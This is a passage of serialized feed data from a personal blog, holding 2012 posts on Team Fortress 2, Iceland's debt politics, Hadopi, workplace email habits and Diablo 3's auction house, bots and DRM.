This is not immediate to feel, but definitely makes the point here. In real life battles, Assault Rifles are strong weapons that combine rifle power with the bullet load of a SMG. Those weapons are overpowered in games as well and make FPS boringly mid/far distance oriented, where visual contact is stressed to a minimum thanks to the fire power and accuracy of those babys. But in TF2, none of those are present. As a consequence, battle is heavily contact oriented and weapons focus on close range damaging (shotguns and dispersion guns). At the extremes, you find either the Pyro buddy, and the sniper.

These are the main assets of the balanced, fun and addictive game that is Team Fortress 2.

Background, Fun, Skill and Assault Rifles";s:7:"content";s:2607:"
Can't stop playing Team Fortress 2. Any other FPS those days brings me back to my beloved Red and Blue mates. But what are the reasons that make this game so addictive? What's this terrific success linked to? What are the assets and design decisions that makes it that awesome? I've got my idea, check it out.

1 - 100% Original background :
This epic, esthetically fun-shaped universe is mind blowing. Characters design, level design, global athmosphere, everything fit perfectly well altogether. That's all about being epically seriously crazy, you get it?The Medic is awesomely German styled, the Heavy is awesomely dumb, the Engineer is awesomely Texan and the Pyro is awesomely mphmmhphmmh.

2 - Differentiated and situation balanced classes gameplay
When it comes to gameplay, the picture is the same : all classes gameplay strongly differs in style and balances with each other. Synergys are everywhere, and provide combinations to feed both casual and epic players.

3 - Easy to be good at / Hard to master
It's easy to strike a successfull Rocket into a heavy/medic pack, but it's damn hard to master accurates airshots during critical encounters. It's all about teamplay and positive exploit of class synergies, that this game excells at providing. This game is both fun for a 15 minutes afterwork session, and a 2 hours relentless clan war.

4 - 0% Assault Rifle  inside :
No AK or M14 that makes multiplayer FPS boringly distance-oriented
This is not immediate to feel, but definitely makes the point here. In real life battles, Assault Rifles are strong weapons that combine rifle power with the bullet load of a SMG. Those weapons are overpowered in games as well and make FPS boringly mid/far distance oriented, where visual contact is stressed to a minimum thanks to the fire power and accuracy of those babys. But in TF2, none of those are present. As a consequence, battle is heavily contact oriented and weapons focus on close range damaging (shotguns and dispersion guns). At the extremes, you find either the Pyro buddy, and the sniper.

These are the main assets of the balanced, fun and addictive game that is Team Fortress 2.

Background, Fun, Skill and Assault Rifles";s:7:"dateiso";s:15:"20120814_130929";}s:15:"20120814_080939";a:7:{s:5:"title";s:28:"L'Islande rayée de la carte";s:4:"link";s:77:"http://blog.fullmaj.rd-h.fr/?d=2012/08/14/06/09/39-lislande-rayee-de-la-carte";s:4:"guid";s:77:"http://blog.fullmaj.rd-h.fr/?d=2012/08/14/06/09/39-lislande-rayee-de-la-carte";s:7:"pubDate";s:31:"Tue, 14 Aug 2012 06:09:39 +0000";s:11:"description";s:2919:"
Deux ans après l'engouement pour la "Révolution du Peuple", on n'entend plus parler de l'Islande. Ce pays qui a osé dire non aux créanciers privés, qui a envoyé les banquiers et dignitaires corrompus se faire voir n'a plus de visibilité au sein de l'UE. La presse se taît, et c'est dans la presse étrangère que l'on trouve des  infos. De quoi faire taire le succès, certes limité mais ô combien symbolique, de cette révolution populaire.

http://www.granma.cu/frances/internationales/2agos-omerta%20sur.html

En corrélant avec d'autres médias, la principale conclusion que l'on peut en tirer est que contrairement à ce que l'on nous fait miroiter, dire aux banquiers et créanciers d'aller se faire voir n'est pas une catastrophe en soi. C'est même la meilleure façon de mettre en lumière ceux qui profitent du système de "la crise" et de les renvoyer à leurs responsabilités. Intéressant.

http://www.atlantico.fr/decryptage/democratie-islandaise-plus-forte-que-banquiers-comment-politique-reprend-pouvoir-economique-olivier-demeulenaere-426655.html?page=0,1

A la décharge de l'évènement, les principaux arguments sont :
- ce qui se passe dans un pays dont la population est équivalente à celle de la ville de Toulouse n'est pas applicable mis à l'échelle d'un pays 100 fois plus peuplé.
- la mise à mal de la dette privée ne couvre pas les déboires de la dette publique. 

http://globalpresse.wordpress.com/2012/07/16/la-justice-islandaise-donne-raison-a-wikileaks/
http://www.france24.com/fr/20111215-islande-processus-paix-etat-palestinien-palestine-creation-mahmoud-abbas-president

Le pouvoir au peuple permet de grandes décisions que la communauté internationale oligarchique a bien du mal à ne serait ce que dessiner à plusieurs.

Bref, quand l'état francais se gargarise de la fierté de voir les états Nord Africains vivre leurs révolutions de jasmin, il s'étouffe et prie que le peuple ne regarde pas un peu plus vers le nord, là ou les journées s'allongent et les esprits se libèrent.

(source image carte diplomatique  :  http://diplomatie.gouv.fr)";s:7:"content";s:2919:"
Deux ans après l'engouement pour la "Révolution du Peuple", on n'entend plus parler de l'Islande. Ce pays qui a osé dire non aux créanciers privés, qui a envoyé les banquiers et dignitaires corrompus se faire voir n'a plus de visibilité au sein de l'UE. La presse se taît, et c'est dans la presse étrangère que l'on trouve des  infos. De quoi faire taire le succès, certes limité mais ô combien symbolique, de cette révolution populaire.

http://www.granma.cu/frances/internationales/2agos-omerta%20sur.html

En corrélant avec d'autres médias, la principale conclusion que l'on peut en tirer est que contrairement à ce que l'on nous fait miroiter, dire aux banquiers et créanciers d'aller se faire voir n'est pas une catastrophe en soi. C'est même la meilleure façon de mettre en lumière ceux qui profitent du système de "la crise" et de les renvoyer à leurs responsabilités. Intéressant.

http://www.atlantico.fr/decryptage/democratie-islandaise-plus-forte-que-banquiers-comment-politique-reprend-pouvoir-economique-olivier-demeulenaere-426655.html?page=0,1

A la décharge de l'évènement, les principaux arguments sont :
- ce qui se passe dans un pays dont la population est équivalente à celle de la ville de Toulouse n'est pas applicable mis à l'échelle d'un pays 100 fois plus peuplé.
- la mise à mal de la dette privée ne couvre pas les déboires de la dette publique. 

http://globalpresse.wordpress.com/2012/07/16/la-justice-islandaise-donne-raison-a-wikileaks/
http://www.france24.com/fr/20111215-islande-processus-paix-etat-palestinien-palestine-creation-mahmoud-abbas-president

Le pouvoir au peuple permet de grandes décisions que la communauté internationale oligarchique a bien du mal à ne serait ce que dessiner à plusieurs.

Bref, quand l'état francais se gargarise de la fierté de voir les états Nord Africains vivre leurs révolutions de jasmin, il s'étouffe et prie que le peuple ne regarde pas un peu plus vers le nord, là ou les journées s'allongent et les esprits se libèrent.

(source image carte diplomatique  :  http://diplomatie.gouv.fr)";s:7:"dateiso";s:15:"20120814_080939";}s:15:"20120716_172445";a:7:{s:5:"title";s:26:"Bye Arduino, Hello Maple !";s:4:"link";s:74:"http://blog.fullmaj.rd-h.fr/?d=2012/07/16/15/24/45-bye-arduino-hello-maple";s:4:"guid";s:74:"http://blog.fullmaj.rd-h.fr/?d=2012/07/16/15/24/45-bye-arduino-hello-maple";s:7:"pubDate";s:31:"Mon, 16 Jul 2012 15:24:45 +0000";s:11:"description";s:675:"
Here it is, my brand new Maple V5 Board.

I can't wait to make those shiny 90 DMIPS to overkill my synth design dreams...

But wait, I have a SIDaster to release first. This one will be used afterwards. But the guys from Wetterott are incredibly fast, trust me !";s:7:"content";s:675:"
Here it is, my brand new Maple V5 Board.

I can't wait to make those shiny 90 DMIPS to overkill my synth design dreams...

But wait, I have a SIDaster to release first. This one will be used afterwards. But the guys from Wetterott are incredibly fast, trust me !";s:7:"dateiso";s:15:"20120716_172445";}s:15:"20120709_085637";a:7:{s:5:"title";s:17:"Hadopi : Le Bilan";s:4:"link";s:66:"http://blog.fullmaj.rd-h.fr/?d=2012/07/09/06/56/37-hadopi-le-bilan";s:4:"guid";s:66:"http://blog.fullmaj.rd-h.fr/?d=2012/07/09/06/56/37-hadopi-le-bilan";s:7:"pubDate";s:31:"Mon, 09 Jul 2012 06:56:37 +0000";s:11:"description";s:2045:"
Bilan de l’Hadopi, user side.

C'est le bon moment pour faire le point : le gouvernement le demande et les données sont floues. Ainsi en tant qu'utilisateur des réseaux peer to peer, autant la faire à l’envers du point de vue personnel : un an et demi après, qu'en est il de mon comportement depuis Hadopi ?

(1) Je télécharge autant post-Hadopi.

(2) J’achete toujours autant de médias post Hadopi.

(3) Je consulte des médias hors circuits majors.

(1) : Mes habitudes n'ont pas changé, elles se sont concentrées autour des axiomes fondamentaux du libre partage: télécharger ce que je regarde/écoute, et écouter ce que je télécharge.
J’évite le téléchargement compulsif qui a pour effet d’engorger les disques durs de fichiers que l’on ne consulte jamais. Dans un même ordre d’idée, je ne conserve que les médias téléchargés que je considère avec beaucoup d’estime, comme faisant partie de ma «bibliothèque».

(2) : J’achète les médias d’estime sur support physique du via les réseaux de distribution les plus courts, notemment chez les disquaires. Je possède la majorité des médias de ma bibliothèque sur un autre média propriétaire (CD, DVD, livre, etc...) que mon ordinateur.

(3) : Les moyens mis en place pour fliquer Hadopi me font éviter les médias des grands groupes. Je ne consulte plus les sorties des majors, et rechigne à aller voir les grosses productions au cinema. Perte pure pour moi: je passe certainement à côté d’artistes extraordinaires. Perte pure pour les majors : je n’achète plus leur contenu car je ne m’informe plus, je ne m’y intéresse plus. C’est un divorce pur et simple, au rejet des méthodes succède une indifférence banale.

La perte est double: pour les majors et pour moi. Mais c’est la raçon de la méthode.";s:7:"content";s:2045:"
Bilan de l’Hadopi, user side.

C'est le bon moment pour faire le point : le gouvernement le demande et les données sont floues. Ainsi en tant qu'utilisateur des réseaux peer to peer, autant la faire à l’envers du point de vue personnel : un an et demi après, qu'en est il de mon comportement depuis Hadopi ?

(1) Je télécharge autant post-Hadopi.

(2) J’achete toujours autant de médias post Hadopi.

(3) Je consulte des médias hors circuits majors.

(1) : Mes habitudes n'ont pas changé, elles se sont concentrées autour des axiomes fondamentaux du libre partage: télécharger ce que je regarde/écoute, et écouter ce que je télécharge.
J’évite le téléchargement compulsif qui a pour effet d’engorger les disques durs de fichiers que l’on ne consulte jamais. Dans un même ordre d’idée, je ne conserve que les médias téléchargés que je considère avec beaucoup d’estime, comme faisant partie de ma «bibliothèque».

(2) : J’achète les médias d’estime sur support physique du via les réseaux de distribution les plus courts, notemment chez les disquaires. Je possède la majorité des médias de ma bibliothèque sur un autre média propriétaire (CD, DVD, livre, etc...) que mon ordinateur.

(3) : Les moyens mis en place pour fliquer Hadopi me font éviter les médias des grands groupes. Je ne consulte plus les sorties des majors, et rechigne à aller voir les grosses productions au cinema. Perte pure pour moi: je passe certainement à côté d’artistes extraordinaires. Perte pure pour les majors : je n’achète plus leur contenu car je ne m’informe plus, je ne m’y intéresse plus. C’est un divorce pur et simple, au rejet des méthodes succède une indifférence banale.

La perte est double: pour les majors et pour moi. Mais c’est la raçon de la méthode.";s:7:"dateiso";s:15:"20120709_085637";}s:15:"20120628_171234";a:7:{s:5:"title";s:32:"HAPPY FULLMAJ DAY - 28/06 ONEONE";s:4:"link";s:82:"http://blog.fullmaj.rd-h.fr/?d=2012/06/28/15/12/34-happy-fullmaj-day---2806-oneone";s:4:"guid";s:82:"http://blog.fullmaj.rd-h.fr/?d=2012/06/28/15/12/34-happy-fullmaj-day---2806-oneone";s:7:"pubDate";s:31:"Thu, 28 Jun 2012 15:12:34 +0000";s:11:"description";s:394:"
THIS IS THE FULLMAJ DAY, MAY WE ALL CELEBRATE THE CAPSLOCK DAY.

 

HEAR US LOUND INTERNETZ TODAY IS A SPECIAL DAY WHERE WE CELEBRATE THOSE OF US WHO IMPOSE THEIR SUPREME OPINIONS BY FLOODING TEXT BASED PLATFORMS WITH HEX[41<>5A] ASCII CHARZ !

 

BEHOLD THE HOLY CAPSLOCK DAY !";s:7:"content";s:394:"
THIS IS THE FULLMAJ DAY, MAY WE ALL CELEBRATE THE CAPSLOCK DAY.

 

HEAR US LOUND INTERNETZ TODAY IS A SPECIAL DAY WHERE WE CELEBRATE THOSE OF US WHO IMPOSE THEIR SUPREME OPINIONS BY FLOODING TEXT BASED PLATFORMS WITH HEX[41<>5A] ASCII CHARZ !

 

BEHOLD THE HOLY CAPSLOCK DAY !";s:7:"dateiso";s:15:"20120628_171234";}s:15:"20120607_114831";a:7:{s:5:"title";s:43:"Email Monophrase : Coup de gueule illustré";s:4:"link";s:91:"http://blog.fullmaj.rd-h.fr/?d=2012/06/07/09/48/31-email-monophrase-coup-de-gueule-illustre";s:4:"guid";s:91:"http://blog.fullmaj.rd-h.fr/?d=2012/06/07/09/48/31-email-monophrase-coup-de-gueule-illustre";s:7:"pubDate";s:31:"Thu, 07 Jun 2012 09:48:31 +0000";s:11:"description";s:5463:"
Tendance insupportable su moment, les mails d'une phrase en forward pullulent dans les boites mails pro. Ces phrases courtes, du genre " a traiter ASAP", sont utilisés pour propager des actions à faire, ou des questions.

Aucun des codes de l'écrit n'est respecté, autant sur la ponctuation que sur les règles de base de savoir vivre. On assiste de plus en plus à un ballet de mail commencant en "<FW>:" dont la seule et unique phrase chapeau n'a rien à envier aux "Impulsive Ego Posts" que l'on critique tant sur les réseaux sociaux.

Dans certaines entreprises, les admins ont même désactivé la fonction "répondre à tous". Cela force les personnes ayant tendance à forcer sur le mail ultracourt à revenir aux fondamentaux : dire bonjour, préciser le cadre (ou repréciser au besoin), et garder en tête que écrire deux phrases de plus fait gagner un temps fou à tous ceux qui sont amenés à lire le mail.

Une sorte de bien séance de la messagerie électronique somme toute.

Quelques morceaux choisis tirés d'échanges réels :

Le Black Hole : « »
Rien. Le mail est forwardé, mais aucun texte chapeau ne vient expliquer la raison du forward.

L'informatif : « For Info »
Celui là tombe par centaine de kilos, surtout en chapeau d'un échange de 20 mails avec plein de réponses floues. Avec un fil difficile à suivre.

Le simplet : « Merci de faire de ton mieux »
Suivi généralement de travail abscon et très mal défini, ou personne ne sait exactement ce qu'il faut faire, et que tu te retrouves en fin de chaîne recevoir le paquet piégé.

L'engagé : « Merci de confirmer »
Généralement accompagné d'un mail nécessitant une décision entre deux solutions inappropriées qui ont été proposées par des gens qui n'ont pas les compétences pour proposer. Et on te demande de bénir ces solutions.

Le Catastrophique : "C'est la TOP PRIORITE"
C'est la CA-TA-STRO-PHE : y'a une super méga urgence suite aux échanges de mail en dessous. C'est assez obscur alors on te le propage rapidement pour que tu te démerdes avec.

L'indécis : «A voir si on peut l’approuver »
On a reçu un truc, j’y comprends rien et j’ai pas envie de regarder si ca tient la route. Tu jettes un œil ?

Le pusher : « Cela me semble acceptable, non ? »
J’ai regardé de travers, ca a l’air potable même si c’est ultra bancal. J’ai des jalons de livraison à respecter et je m’en fous de la qualité, dis moi qu’on accepte que je sois tranquille.

Le clivage : « Merci de voir de savoir sur quel banc »
L’univers des bancs d’essais est un obscur maelstrom que je n’ose pas approcher de peur d’attraper une saloperie. J’évite d’en parler, j’en perds mon francais. Regarde pour moi ce que tu peux faire.

Le yakafokon : « Comment progresser sur ce sujet ?;; »
Bon, j’y comprends rien du tout à vot’ bordel, et tout ce qu’il m’intéresse c’est de savoir où vous en êtes, car je dois fermer une case dans un fichier excel. Z’en êtes ou ?

Le Bug : « rrr »
Je sais pas quoi écrire pour vous propager ce mail , et puis ca me gonfle vos trucs. Alors je tape « r » et j’envoie. Faites chier.

Le simulacre : « Cette phrase est en ligne avec ce que j’ai compris de la discussion »
Bon, j’ai rien compris et je m’en bats les couilles. La dernière phrase, elle est bonne ? Je peux la mettre dans mon reporting de la semaine pour les chefs ? Je dois l’envoyer dans 10 minutes.

L'emo kid question : « Comme il a fait ? »
Bon sang, j’y comprends vraiment rien. Quelqu'un m’explique que je sois pas à la ramasse ?

Le faire avec : « un doc reçu qui n’est pas passé par les voies normales »
Un document à analyser, qu’on a reçu sur le tas. J’ose pas me retourner vers le fournisseur et gueuler car c’est un doc pourri qui n’a pas suivi le process normal de livraison qualité. Vous voulez bien faire une passe dessus, histoire de pas faire de vagues, et me faire des commentaires ? La flemme de dire non au fournisseur.

L'ordre : « J’ai besoin d’un retour aujourd’hui »
On me met la pression au-dessus de ma hiérarchie pour répondre vite, même si je ne comprends rien au sujet, alors je vous propage la pression. Magnez-vous, bande de moules.

Le meaculpa : « sorry »
Putin, j’ai merdé.";s:7:"content";s:5463:"
Tendance insupportable su moment, les mails d'une phrase en forward pullulent dans les boites mails pro. Ces phrases courtes, du genre " a traiter ASAP", sont utilisés pour propager des actions à faire, ou des questions.

Aucun des codes de l'écrit n'est respecté, autant sur la ponctuation que sur les règles de base de savoir vivre. On assiste de plus en plus à un ballet de mail commencant en "<FW>:" dont la seule et unique phrase chapeau n'a rien à envier aux "Impulsive Ego Posts" que l'on critique tant sur les réseaux sociaux.

Dans certaines entreprises, les admins ont même désactivé la fonction "répondre à tous". Cela force les personnes ayant tendance à forcer sur le mail ultracourt à revenir aux fondamentaux : dire bonjour, préciser le cadre (ou repréciser au besoin), et garder en tête que écrire deux phrases de plus fait gagner un temps fou à tous ceux qui sont amenés à lire le mail.

Une sorte de bien séance de la messagerie électronique somme toute.

Quelques morceaux choisis tirés d'échanges réels :

Le Black Hole : « »
Rien. Le mail est forwardé, mais aucun texte chapeau ne vient expliquer la raison du forward.

L'informatif : « For Info »
Celui là tombe par centaine de kilos, surtout en chapeau d'un échange de 20 mails avec plein de réponses floues. Avec un fil difficile à suivre.

Le simplet : « Merci de faire de ton mieux »
Suivi généralement de travail abscon et très mal défini, ou personne ne sait exactement ce qu'il faut faire, et que tu te retrouves en fin de chaîne recevoir le paquet piégé.

L'engagé : « Merci de confirmer »
Généralement accompagné d'un mail nécessitant une décision entre deux solutions inappropriées qui ont été proposées par des gens qui n'ont pas les compétences pour proposer. Et on te demande de bénir ces solutions.

Le Catastrophique : "C'est la TOP PRIORITE"
C'est la CA-TA-STRO-PHE : y'a une super méga urgence suite aux échanges de mail en dessous. C'est assez obscur alors on te le propage rapidement pour que tu te démerdes avec.

L'indécis : «A voir si on peut l’approuver »
On a reçu un truc, j’y comprends rien et j’ai pas envie de regarder si ca tient la route. Tu jettes un œil ?

Le pusher : « Cela me semble acceptable, non ? »
J’ai regardé de travers, ca a l’air potable même si c’est ultra bancal. J’ai des jalons de livraison à respecter et je m’en fous de la qualité, dis moi qu’on accepte que je sois tranquille.

Le clivage : « Merci de voir de savoir sur quel banc »
L’univers des bancs d’essais est un obscur maelstrom que je n’ose pas approcher de peur d’attraper une saloperie. J’évite d’en parler, j’en perds mon francais. Regarde pour moi ce que tu peux faire.

Le yakafokon : « Comment progresser sur ce sujet ?;; »
Bon, j’y comprends rien du tout à vot’ bordel, et tout ce qu’il m’intéresse c’est de savoir où vous en êtes, car je dois fermer une case dans un fichier excel. Z’en êtes ou ?

Le Bug : « rrr »
Je sais pas quoi écrire pour vous propager ce mail , et puis ca me gonfle vos trucs. Alors je tape « r » et j’envoie. Faites chier.

Le simulacre : « Cette phrase est en ligne avec ce que j’ai compris de la discussion »
Bon, j’ai rien compris et je m’en bats les couilles. La dernière phrase, elle est bonne ? Je peux la mettre dans mon reporting de la semaine pour les chefs ? Je dois l’envoyer dans 10 minutes.

L'emo kid question : « Comme il a fait ? »
Bon sang, j’y comprends vraiment rien. Quelqu'un m’explique que je sois pas à la ramasse ?

Le faire avec : « un doc reçu qui n’est pas passé par les voies normales »
Un document à analyser, qu’on a reçu sur le tas. J’ose pas me retourner vers le fournisseur et gueuler car c’est un doc pourri qui n’a pas suivi le process normal de livraison qualité. Vous voulez bien faire une passe dessus, histoire de pas faire de vagues, et me faire des commentaires ? La flemme de dire non au fournisseur.

L'ordre : « J’ai besoin d’un retour aujourd’hui »
On me met la pression au-dessus de ma hiérarchie pour répondre vite, même si je ne comprends rien au sujet, alors je vous propage la pression. Magnez-vous, bande de moules.

Le meaculpa : « sorry »
Putin, j’ai merdé.";s:7:"dateiso";s:15:"20120607_114831";}s:15:"20120605_102132";a:7:{s:5:"title";s:33:"Diablo 3, Jérôme Kerviel et API";s:4:"link";s:81:"http://blog.fullmaj.rd-h.fr/?d=2012/06/05/08/21/32-diablo-3-jerome-kerviel-et-api";s:4:"guid";s:81:"http://blog.fullmaj.rd-h.fr/?d=2012/06/05/08/21/32-diablo-3-jerome-kerviel-et-api";s:7:"pubDate";s:31:"Tue, 05 Jun 2012 08:21:32 +0000";s:11:"description";s:2396:"
Ca commence fort: l'hôtel des ventes de Diablo 3 est déja cannibalisé par les robots des spéculateurs.

Hier soir, j'ai essayé plusieurs fois d'enchérir sur un objet de qualité dont le prix de base était très bas (3200 pièces d'or). Je clique sur enchérir, et immédiatement s'affiche un message comme quoi je n'ai pas mis assez de sous sur mon enchère. Retournant en arrière, je me rends compte que le prix de l'objet est passé à 3440po! Cela veut donc dire que pendant les 100ms entre le moment ou j'ai cliqué sur enchérir, et le moment ou l'API a traité le message, un robot a vu mon enchère, et a surenchéri automatiquement. Testé plusieurs fois de suite, le "Jérôme Kerviel" de l'hotel des ventes en ligne de Diablo3 contre qui je me suis battu a gagné: non seulement il va plus vite que moi, mais surtout il va plus vite que l'API de Diablo !

Cette situation est surréaliste et laisse présager bien du malheur pour l'hotel des ventes avec de l'argent réel: les bots ont leur créneau, ca je n'en avais aucun doute, mais les logiciels de trading dans Diablo existent déja, et polluent déja l'expérience en jeu des joueurs...

Deuxième Diablorie de la journée, l'API Web Blizzard. Les joueurs pourront bientot consulter le profil et le stuff de leurs personnages en ligne avec une API qui risque d'être pas mal foutue, à l'image de ce que propose l'armurerie pour les joueurs de WoW. Mais lorsque les joueurs demandent à avoir accès à leur inventaire en ligne, Blizzard refuse. La raison officielle est que cela fait partie de la "vie privée" du joueur.

En pratique, c'est plus compliqué : comme Blizzard ne souhaite pas que les joueurs puissent commercer en dehors de l'hotel des ventes, les community managers bottent en touche dès que le sujet est abordé. En gros: l'API ne vous servira pas à voir vos inventaires, même pour des intentions louables comme celle de vérifier si un copain a pas dans son sac un objet qui pourrait m'aider...

Bref, avec les décos en boucle de la semaine dernière et les erreurs 37, cet excellent jeu a le plus en plus un arrière gout d'attrappe pigeon qui me colle à la gorge. Reste que la difficulté en mode Hell est bien au rendez vous et qu'après 52 niveaux "autoroute", le jeu prend vraiment une dimension tactique intéressante.";s:7:"content";s:2396:"
Ca commence fort: l'hôtel des ventes de Diablo 3 est déja cannibalisé par les robots des spéculateurs.

Hier soir, j'ai essayé plusieurs fois d'enchérir sur un objet de qualité dont le prix de base était très bas (3200 pièces d'or). Je clique sur enchérir, et immédiatement s'affiche un message comme quoi je n'ai pas mis assez de sous sur mon enchère. Retournant en arrière, je me rends compte que le prix de l'objet est passé à 3440po! Cela veut donc dire que pendant les 100ms entre le moment ou j'ai cliqué sur enchérir, et le moment ou l'API a traité le message, un robot a vu mon enchère, et a surenchéri automatiquement. Testé plusieurs fois de suite, le "Jérôme Kerviel" de l'hotel des ventes en ligne de Diablo3 contre qui je me suis battu a gagné: non seulement il va plus vite que moi, mais surtout il va plus vite que l'API de Diablo !

Cette situation est surréaliste et laisse présager bien du malheur pour l'hotel des ventes avec de l'argent réel: les bots ont leur créneau, ca je n'en avais aucun doute, mais les logiciels de trading dans Diablo existent déja, et polluent déja l'expérience en jeu des joueurs...

Deuxième Diablorie de la journée, l'API Web Blizzard. Les joueurs pourront bientot consulter le profil et le stuff de leurs personnages en ligne avec une API qui risque d'être pas mal foutue, à l'image de ce que propose l'armurerie pour les joueurs de WoW. Mais lorsque les joueurs demandent à avoir accès à leur inventaire en ligne, Blizzard refuse. La raison officielle est que cela fait partie de la "vie privée" du joueur.

En pratique, c'est plus compliqué : comme Blizzard ne souhaite pas que les joueurs puissent commercer en dehors de l'hotel des ventes, les community managers bottent en touche dès que le sujet est abordé. En gros: l'API ne vous servira pas à voir vos inventaires, même pour des intentions louables comme celle de vérifier si un copain a pas dans son sac un objet qui pourrait m'aider...

Bref, avec les décos en boucle de la semaine dernière et les erreurs 37, cet excellent jeu a le plus en plus un arrière gout d'attrappe pigeon qui me colle à la gorge. Reste que la difficulté en mode Hell est bien au rendez vous et qu'après 52 niveaux "autoroute", le jeu prend vraiment une dimension tactique intéressante.";s:7:"dateiso";s:15:"20120605_102132";}s:15:"20120522_152309";a:7:{s:5:"title";s:41:"Diablo 3, DRM, Argent Réel et Bisounours";s:4:"link";s:89:"http://blog.fullmaj.rd-h.fr/?d=2012/05/22/13/23/09-diablo-3-drm-argent-reel-et-bisounours";s:4:"guid";s:89:"http://blog.fullmaj.rd-h.fr/?d=2012/05/22/13/23/09-diablo-3-drm-argent-reel-et-bisounours";s:7:"pubDate";s:31:"Tue, 22 May 2012 13:23:09 +0000";s:11:"description";s:8004:"
D3 fait couler beaucoup d’encre et pour cause : c’est un titre qui fait bouger les lignes des principes établis dans le domaine du jeu vidéo. Les décisions prise par Blizzard ne sont pas anodines, et prennent tout leur sens à la lumière d'un peu d’histoire: DRM, mode solo et argent de l’hôtel des ventes en ligne.

Il y a un an de cela, s’est passé un évènement de taille dans le monde du titre World Of Warcraft. Après 4 années de bataille contre les Bots (robots qui remplacent les joueurs) et les Golds Farmers (joueurs qui ramassent de l’or en jeu pour le revendre contre de l’argent sonnant et trébuchant), les juristes de Blizzard ont changé de cap. Après des années marquées principalement par des attaques en justice, des fermetures de comptes des joueurs et des démarches couteuses en justice, Blizzard a envoyé mi juillet 2011 ses meilleurs avocats traverser l’Atlantique pour aller en Allemagne sonner à la porte des deux plus grand développeurs de Bots de World of Warcraft qu’étaient PiroxBots et Honorbuddy. Blizzard leur tombe sur le coin de la figure, et leur propose des sous pour qu’ils arrêtent non seulement de développer des logiciels pirates pour WoW, mais qu’ils s’engagent à ne plus jamais développer de soft touchant de loin à Activision Blizzard.

Pirox a joué le jeu et quitté la scène (à ma grande déception, meme si c’était la décision la plus sage). Les gars de HB l’ont joué agressif et sont allés au tribunal sous couverture de la loi Allemande et du droit de jouir de son jeu comme bon le semble.

Le changement brutal de stratégie a surpris beaucoup de monde : en lieu et place de bannissement pur et simple, la stratégie négociatrice de Blizzard était peu lisible. Dans le contexte de l’époque, les seules vraies conclusions que l’on tira étaient que WoW était vraissemblablement en déclin, et que Blizzard choisissait délibérément de réduire la pression sur les joueurs afin de ne pas perdre une clientèle qui, a défaut de tricher ostentaoirement et d'acheter de l'or internet, n'en est pas moins une clientèle qui paie 14.90€ par mois pour le faire…

Mais aujourd’hui, cette action prend un autre sens. Avec la sortie de Diablo 3, le débat sur l’hotel des ventes en ligne alimente la chronique, je ne peux m’empêcher de faire un parallèle.

Dans un premier temps, l’annonce de l’abonnement d’un an à WoW: 6 mois avant la sortie de D3, Blizzard propose à ses joueurs de s’engager pour un an à World of Warcraft, et à recevoir au titre de cet engagement le jeu Diablo 3 gratuitement. Il faut comprendre ce geste commercial comme il doit être : un écart de survie. Sortir un titre comme Diablo 3, c'est prendre le risque de canibaliser tout un public de joueurs de WoW qui paie 14.90€ par mois pour jouer sur un titre déja existant;gros risque financier! Alors, la stratégie de Blizzard a été payante : proposer aux joueurs de WoW d'acheter Diablo3 gratuitement s’ils s’engagent pour un an, c’est contenir stratégiquement le flux monétaire en cas de transfert de joueurs migrant de WoW à Diablo 3. Car si ces joueurs décident de passer du temps sur D3, ils continuent de payer leur abonnement WoW. Manoeuvre réussie.

Dans un tel contexte, l’intention de Activision/Blizzard est de faire de Diablo 3 un titre aussi rentable que Wold of Warcraft. L'hôtel des ventes avec du vrai argent est la clef de voute du buisness model de Diablo 3 : ponctionner les transactions entrantes et sortantes à 15% permet de garantir une rentrée d’argent régulière. Mais pour assurer un volume de transactions, Blizzard a surtout pris une décision très controversée : afin d'éviter la triche et la duplication d'objets, le jeu est uniquement jouable en ligne sur les serveurs Blizzard.

Le but premier est de rendre exclusif le système d’enchères : tous les joueurs doivent jouer dans un bac à sable où les transactions sont obligatoires. Tous les joueurs doivent pouvoir un jour soit vendre du matériel, soit en acheter à d’autres à travers de la vitrine de l'hotel des ventes.

Ce choix de rentabilité fait que Blizzard a tout intéret que la totalité des joueurs joue en ligne, et c'est naturellement que la possibilité de jouer hors ligne, en solo, a été proscrite. Outre que le mode solo n’est pas faisable techniquement aujourd’hui car il faudrait un logiciel serveur de jeu en exécutable local, mais surtout en pratique il ne faut pas s’attendre à ce que Blizzard le propose : tout son modèle économique autour du jeu se base sur le principe qu’on doit jouer dans ce bac à sable ou l’on peut vendre et acheter. L’argument de la sécurité des comptes a bon dos : tout est sinistrement affaire de pognon.

Ensuite, la grosse peur de Blizzard se situe sur tout ce qui peut pourrir le marché en ligne en automatisant les actions des joueurs : les robots. Ces PiroxBots, Honorbuddy, Gnometools ou autres qui sont autant de programmes qui vont tout seul ramasser le butin et le vendre, inondant le marché d’objets, détruisant les microéconomies. Le changement de stratégie d’été 2011 montre que Blizzard a souhaité faire le ménage de la scène "boting" en neutralisant les acteurs les plus connus.

Ces types sont aussi et surtout des champion du memoryediting et du hack de code Blizzard. En les engageant à ne pas s’attaquer aux prochains titre Blizzard, le but est surtout de les neutraliser au regard des prochains titres. Il faut croire qu’ils ont vraiment peur des bots. Et ils ont raison, car l’avenir du système est incertain.

D’autant que les équipes de Honorbuddy remettent le couvert, et leur bot Demonbuddy est déjà en version pré-release pour D3. Une équipe de dev chinoise a également pris le relais de ce qui semble être le deuxième bot officiellement supportant la version retail du jeu. Et nous ne sommes qu’à une semaine de la sortie de la version officielle. Il faut voir ce que cela représente à moyen terme, mais déjà on peut s’attendre à voir des scripts complétant automatiquement les scènes les plus « lucratives » en butin, et mettant automatiquement le butin en vente.

Quand au mode solo, il a un grand avenir devant lui : les serveurs privés. L’émulateur Moegge a officiellement quitté le support des builds beta et l’équipe se concentre sur le second build de la version retail. Les bugs sont encore trop nombreux pour une release candidate, mais chacun suivant l’actu ému saura reconnaitre le talent de l’équipe d’une dizaine de développeurs qui bosse dessus.

L’avenir est assez simple à prévoir : dès que l’état de grace de la raréfaction des boites aura disparu, le prix de la version dématérialisée baissera grandement, pour atteindre (au pif) un 14,99€ de convergence sur lequel Blizzard profitera du traffic de nouveaux joueurs pour se faire du pognon sur les micro-paiements. Et le jeu sera même à horizon semi-lointain gratuit : cela va surtout dépendre de la fréquentation du titre. Mais tout est d’ores et déjà bien engagé dans ce sens.

Mais le jeu, lui, en vaut-il la chandelle ?

Au-delà des aspects financiers et mercantiles, le jeu est vraiment réussi. Equilibré et complet, il propose une expérience inégalée depuis… 14 ans. Et en cela, c’est un bon jeu. Le contexte est terrifiant, autant que le titre est bon. Un paradoxe sucré/salé délicieusement raffiné.

